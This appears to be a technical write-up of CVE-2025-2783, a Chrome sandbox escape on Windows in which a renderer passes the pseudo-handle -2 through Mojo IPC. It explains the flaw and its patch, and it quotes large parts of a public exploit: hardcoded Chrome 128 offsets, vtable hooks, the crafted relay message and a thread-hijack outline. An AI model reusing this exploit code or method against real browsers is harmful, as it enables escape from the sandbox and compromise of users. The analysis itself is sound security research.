The renderer typed the integer -2 into a Mojo IPC message, addressed the message to itself, and asked the broker to deliver it. -2 is the value GetCurrentThread() returns on every Win32 process. It is not a thread handle in any process's handle table. It is a sentinel the kernel resolves against whoever last called a syscall on it. Chromium's ipcz transport on the broker side, in the act of forwarding the message, called DuplicateHandle against its own process. The kernel resolved -2 against the broker. The renderer's handle table received a real, full-access reference to a thread inside the unsandboxed browser process. CVE-2025-2783, reported to Google on March 20, 2025 by Boris Larin and Igor Kuznetsov of Kaspersky's GReAT after the team discovered it in active use by an APT against Russian media organizations and academic institutions, patched in Chrome 134.0.6998.178 five days later, is what a public 778-line C++ exploit at ElianGonzi00/CVE-2025-2783 does with that integer.
CVE-2025-2783: Chrome's Broker Resolved the Renderer's `-2` Against Its Own Process
vendor
patterns
cve
proof of concept
GetCurrentThread() returns -2
Win32 has six pseudo-handle values. (HANDLE)-1 is "the calling process," returned by GetCurrentProcess(). (HANDLE)-2 is "the calling thread," returned by GetCurrentThread(). The remaining four (-3 through -6) are token sentinels: process token, thread token, effective thread token, current session token. None of them are allocations in any process's handle table. They are integer constants the kernel resolves at every syscall that takes a HANDLE parameter, in the calling process's context.
Microsoft's documentation for GetCurrentThread is explicit about what this means across process boundaries:
The function cannot be used by one thread to create a handle that can be used by other threads to refer to the first thread. The handle is always interpreted as referring to the thread that is using it. A thread can create a "real" handle to itself that can be used by other threads, or inherited by other processes, by specifying the pseudo handle as the source handle in a call to the DuplicateHandle function.
A pseudo-handle that crosses a process boundary as a raw integer does not refer to the thread that wrote it. It refers, retroactively, to whatever thread is current in the receiving process when the receiving process makes the next syscall on it.
Win32 IPC frameworks handle this by translating eagerly. On send, the sender calls DuplicateHandle(GetCurrentProcess(), h, recipient_process, ...). The kernel resolves the pseudo-handle in the sender's context, produces a real handle, and stores it in the recipient's handle table. The integer -2 never makes it to the recipient as a -2. By the time the recipient sees it, it is an allocation pointing at the sender's thread, with whatever access rights DUPLICATE_SAME_ACCESS produces.
Chromium's Mojo, on the Windows ipcz driver, supports eager translation. It also supports a second handle-ownership mode the sender can claim to skip the translation step.
HandleOwner::kRecipient
mojo/core/ipcz_driver/transport.cc defines two ownership states for transmitted Windows handles. The post-patch source still carries the original semantics in comments:
enum class HandleOwner : uint8_t {
// Encoded HANDLEs belong to the sending process. For the recipient to use
// these, they must have a handle to the sending process.
kSender,
// Encoded HANDLEs belong to the recipient's process. The recipient can use
// these handles as-is.
kRecipient,
};kSender is the conservative path. The handle stays in the sender, the recipient is told the sender's process handle so it can DuplicateHandle to claim. kRecipient is the optimization. The sender asserts "this handle is already in your handle table, decode it as-is." The decoder reads the raw integer the sender wrote and uses it directly.
kRecipient exists for a real performance reason. The broker, having already duplicated a handle into a renderer for some prior reason, can later send that renderer a message referencing the handle by value without re-duplicating. Brokers do this all the time; renderers, by design, should not.
In the pre-patch transport, the sender's choice of kSender vs kRecipient is encoded into the message and the decoder honors it. No validation runs on whether the source transport had any right to claim kRecipient.
The 134.0.6998.178 fix tightens the encoder so the conservative path is the only one a non-broker, non-trusted-peer source can produce:
handle_owner =
remote_process_.IsValid() &&
(source_type() == kBroker || is_trusted_by_peer())
? HandleOwner::kRecipient
: HandleOwner::kSender;And it tightens the decoder so a kRecipient claim from anyone other than the broker, a trusted peer, or a same-process source is rejected:
if (from_transport.destination_type() != Transport::kBroker &&
!from_transport.is_peer_trusted() &&
!remote_process.is_current()) {
return MOJO_RESULT_INVALID_ARGUMENT;
}
// Do not trust non-broker endpoints to send handles which already belong
// to us, unless the transport is explicitly marked as trustworthy.The renderer is not the broker, is not a trusted peer of the broker, and is not the broker's current process. After the patch the renderer's kRecipient claim is MOJO_RESULT_INVALID_ARGUMENT. Before the patch it was the optimization the renderer asked for.
The renderer wrote -2
The PoC's exploit DLL is the file src/main.cc. Its second-stage payload runs inside the renderer process, having been loaded there by the V8 chain in demo/exp.html (an rtt subtype-check bypass annotated in source as "copy-pasted from b/350292240, b/351327767, b/360533914, b/368241697," the catalog of V8 sandbox primitives the same author had been collecting). That V8 chain is its own bug class and not the subject of this post. The handoff between the two stages happens at line 2776 of exp.html:
console.debug(0x42, ab_shellcode, shellcode_size);main.cc's DetourV8ConsoleDebug hook is watching console.debug calls inside the renderer's V8 instance and intercepts whichever one passes the magic argument 0x42. It captures the shellcode out of the ArrayBuffer, copies it into a freshly-allocated PAGE_READWRITE region, and calls sandboxEscape().
sandboxEscape walks Chromium's global ipcz state to find the renderer's Node and its link to the broker:
void sandboxEscape() {
auto* manager = ExploitManager::getInstance();
ipcz::Node* node = reinterpret_cast<ipcz::Node*>(manager->getGNode());
ipcz::NodeName nodeName = node->GetAssignedName();
ipcz::NodeLink* brokerLink = node->GetBrokerLink().get();g_node is resolved by static offset against chrome.dll's base. The exploit ships a hardcoded table of offsets for the four Chrome 128 builds it targets:
std::unordered_map<std::string, uintptr_t> g_node_offset_map = {
{"128.0.6613.85", 0x0d8b9538ULL},
{"128.0.6613.114", 0x0d949538ULL},
{"128.0.6613.120", 0x0d94a5b8ULL},
{"128.0.6613.138", 0xd8fd5b8ULL}
};The README claims compatibility up to 134.0.6998.177, which is the immediate predecessor of the patched 134.0.6998.178. The published binaries target 128 only; whoever cares to retarget needs only the new offsets.
After locating the node and the broker link, the exploit installs a hook on the renderer's own ipcz::NodeLink::OnAcceptRelayedMessage, the inbound dispatch for relayed messages, by walking the vtable:
uintptr_t brokerLinkVtable = *(uintptr_t*)brokerLink;
uintptr_t onAcceptRelayedMessageAddr = *(uintptr_t*)(brokerLinkVtable + 264);Then it constructs the request:
base::win::ScopedHandle scopedHandle(GetCurrentThread());
mojo::PlatformHandle platformHandle(std::move(scopedHandle));
auto* wrappedHandle = new mojo::core::ipcz_driver::WrappedPlatformHandle(
std::move(platformHandle));
ipcz::DriverObject driverObject{node->driver(),
reinterpret_cast<uintptr_t>(wrappedHandle)};
ipcz::Message msg(static_cast<uint8_t>(0x69), static_cast<size_t>(0x10));
msg.AppendDriverObject(std::move(driverObject));
brokerLink->RelayMessage(nodeName, msg);A Message with arbitrary message id 0x69 and 16 bytes of data is constructed. A single DriverObject is appended, wrapping a WrappedPlatformHandle whose internal HANDLE was constructed from GetCurrentThread(). The raw value stored in that HANDLE slot is the constant -2. The renderer calls brokerLink->RelayMessage(nodeName, msg) with nodeName set to its own assigned name.
The receiving end of RelayMessage is the broker. From third_party/ipcz/src/ipcz/node_link.cc:
void NodeLink::RelayMessage(const NodeName& to_node, Message& message) {
ABSL_ASSERT(remote_node_type_ == Node::Type::kBroker);
msg::RelayMessage relay;
relay.v0()->destination = to_node;
relay.v0()->data = relay.AllocateArray<uint8_t>(message.data_view().size());
relay.v0()->padding = 0;
memcpy(relay.GetArrayData(relay.v0()->data),
message.data_view().data(),
message.data_view().size());
relay.v0()->driver_objects =
relay.AppendDriverObjects(message.driver_objects());
Transmit(relay);
}The renderer's outbound serialization runs on the renderer's transport. The inner DriverObject containing the WrappedPlatformHandle is encoded into the outer RelayMessage. With HandleOwner::kRecipient claimed by the renderer, the encoder skips the DuplicateHandle step. The raw integer -2 is written into the wire bytes of the relay envelope, addressed to the broker.
The broker receives the RelayMessage. Its decoder, in the pre-patch transport, accepts the kRecipient claim without validating source. The broker's internal WrappedPlatformHandle for this DriverObject now stores -2. The broker has not called any kernel API on it. The kernel has not been asked to resolve anything yet. From the broker's perspective, it holds a handle to one of its own resources, value -2, type unknown.
The broker now consults relay.v0()->destination, which is the renderer's own node name, and packages the inner message into an AcceptRelayedMessage addressed back to the renderer. The broker's outbound serialization runs. The DriverObject array is encoded for the renderer.
The encoding step on the broker calls ::DuplicateHandle:
::DuplicateHandle(GetCurrentProcess(), // broker's pseudo-handle, resolves to broker
raw_handle, // -2, the renderer's payload
renderer_process, // real handle to renderer
&out,
0, FALSE, DUPLICATE_SAME_ACCESS);GetCurrentProcess() returns (HANDLE)-1. The kernel resolves -1 against the broker because the broker is the caller. The source process is the broker. The source handle is -2. The kernel resolves -2 against the source process, which is the broker, and produces a real handle to the broker's current thread, then duplicates it into the renderer's handle table with full access.
The broker has performed exactly the documented behavior of DuplicateHandle over a pseudo-handle. The kernel has performed exactly the documented behavior of -2. The chain produces a real, full-access handle inside the renderer process pointing at a thread inside the unsandboxed browser process. Nothing in this sequence is a bug in any single component, considered in isolation.
The hook reads the handle out of the inbound message
The renderer's DetourOnAcceptRelayedMessage is waiting for the response:
bool __fastcall DetourOnAcceptRelayedMessage(ipcz::NodeLink* pThis,
ipcz::msg::AcceptRelayedMessage& accept) {
auto* manager = ExploitManager::getInstance();
absl::Span<uint8_t> data = accept.GetArrayView<uint8_t>(accept.v0()->data);
const uint8_t message_id =
reinterpret_cast<ipcz::internal::MessageHeaderV0*>(data.data())->message_id;
if (message_id == 0x69) {
absl::Span<ipcz::DriverObject> driver_objects = accept.driver_objects();
const ipcz::DriverObject& first_object = driver_objects[0];
uintptr_t handle_value = first_object.handle();
mojo::core::ipcz_driver::WrappedPlatformHandle* wrapped_handle_ptr =
reinterpret_cast<mojo::core::ipcz_driver::WrappedPlatformHandle*>(handle_value);
HANDLE handle = wrapped_handle_ptr->handle().GetHandle().Get();
HANDLE dupHandle = nullptr;
if (DuplicateHandle(GetCurrentProcess(), handle, GetCurrentProcess(),
&dupHandle, 0, false, DUPLICATE_SAME_ACCESS)) {
manager->setDuplicateHandle(dupHandle);
}
}
...
}The hook duplicates the inbound handle into a stable slot on the singleton, then disables itself. The renderer's handle table now contains a duplicate of a duplicate, both pointing at a thread inside the broker process.
The remainder of the exploit is the well-rehearsed Windows thread-hijack: SuspendThread on the broker thread, GetThreadContext to back up state, repeatedly setting RIP to a ff e7 (jmp rdi) gadget located in chrome.dll and looping the resumed thread through VirtualAlloc, OpenProcess, ReadProcessMemory, and CreateThread calls in the broker's process context, each call pausing back at an eb fe dead-loop gadget so the exploit can read the return value. The shellcode the V8 stage captured gets copied across via ReadProcessMemory reading from the renderer into broker-allocated PAGE_EXECUTE_READWRITE memory, then CreateThread runs it. Chrome's renderer sandbox is, at that point, irrelevant.
What the official record says
NVD's description of CVE-2025-2783 reads:
Insufficient validation of untrusted input in Mojo on Windows prior to 134.0.6998.177 allowed a remote attacker who had compromised the renderer process to perform a sandbox escape via a malicious file.
"Insufficient validation of untrusted input" describes the patch in the abstract. It does not describe the bug. The bug is that Mojo on Windows had an encoding mode in which the validity of the transmitted handle was something the sender decided. The renderer is a sandboxed process. The renderer chose HandleOwner::kRecipient, claimed the handle was already in the broker, and watched the broker resolve -2 in its own context on the round trip back. There was no input to be validated, in the usual sense, because the entire structure of the bug is that a value-typed kernel identifier crossed a trust boundary as an integer constant. Mojo's job was not to validate the integer; Mojo's job was to never let the integer travel without resolving it first.
The patch chose the second framing. The encoder's new logic produces kRecipient only when source_type() == kBroker || is_trusted_by_peer(). The decoder's new logic refuses kRecipient from any source that does not satisfy the symmetric inverse. A renderer can still write -2 into a handle field; it just cannot ship it without the broker calling DuplicateHandle against the renderer's process, which resolves -2 against the renderer and produces a handle to the renderer's own thread, which is exactly the access the renderer already has.
The class
This is a trust inversion at the architectural layer where every Win32 sandboxed application places a broker between its renderer and the kernel. The renderer never had the right to mint a handle to a broker thread; it had the right to ask the broker to mint one. The pre-patch transport.cc handed it both, because the encoder and decoder were a direction-blind parser: one EncodeHandle/DecodeHandle pair for every direction Mojo speaks, with the HandleOwner::kRecipient claim valid on the wire from any source. The patch installed the qualifier (source_type() == kBroker, destination_type() != Transport::kBroker) that pins each role to its own grammar of legal claims.
Below the transport.cc fix sits an unpatchable primitive. Every Win32 IPC system that treats a HANDLE as a value-typed integer and supports any encoding path in which the value travels without a kernel-side translation is sitting on this primitive until it validates the source of the claim. Mojo's ipcz driver had HandleOwner::kRecipient. The pattern is not unique to Chromium. WinRT activations carry handles through IInspectable marshaling. COM marshaling has its own out-of-process handle modes. Sysmon-style ETW shippers, antivirus IPC channels, every Electron-shaped renderer-broker pair on Windows that rolled its own IPC, every one of them has at minimum the opportunity to invent this bug. The bug class is the gap between "we transported a value" and "the kernel resolved a value." Anywhere the gap exists, -2 is a working payload until the gap closes.
The same shape sits in Linux's namespaced filesystem APIs. AT_FDCWD, /proc/self, /dev/fd/N all resolve in the caller's namespace. Any FD-passing protocol that forwards file descriptors across SCM_RIGHTS without canonicalizing them lets the privileged forwarder's openat, fstatat, readlinkat resolve the sentinel against itself. CVE-2025-2783 is the Win32 surface of a class that has Linux exhibits and macOS exhibits and will have whatever exhibit the next sandbox-broker IPC framework writes.
The disclosure
Boris Larin and Igor Kuznetsov reported CVE-2025-2783 to Google on March 20, 2025. Google shipped Chrome 134.0.6998.178 with the transport.cc fix on March 25, 2025. Five days, no embargo cycle, no coordinated reveal window. The active in-the-wild use, called Operation ForumTroll, sent Russian-language phishing emails inviting recipients to the Primakov Readings, a real Moscow-based academic conference series, hosted at lookalike landing pages that delivered the V8 type-confusion chain into the renderer. The renderer chain landed main.cc. main.cc wrote -2 into a WrappedPlatformHandle and waited for the broker.
Kaspersky's first publication on March 25 documented the campaign and the targeting (Russian media organizations, academic institutions, government agencies, all Russian-language) and held back the bug mechanism. The technical write-up appeared on April 22, when Chrome's auto-update had reached enough of the deployed base. The CVE description has not been updated since. Chrome's release notes for 134.0.6998.178 credit the report. The transport.cc commit does not credit anyone, because Google's open-source commits do not, and the file is a normal-looking refactor in the Mojo Windows driver until you read it next to a WrappedPlatformHandle wrapping GetCurrentThread().
The renderer never sent a handle. It sent the number -2 and waited for the broker to type it.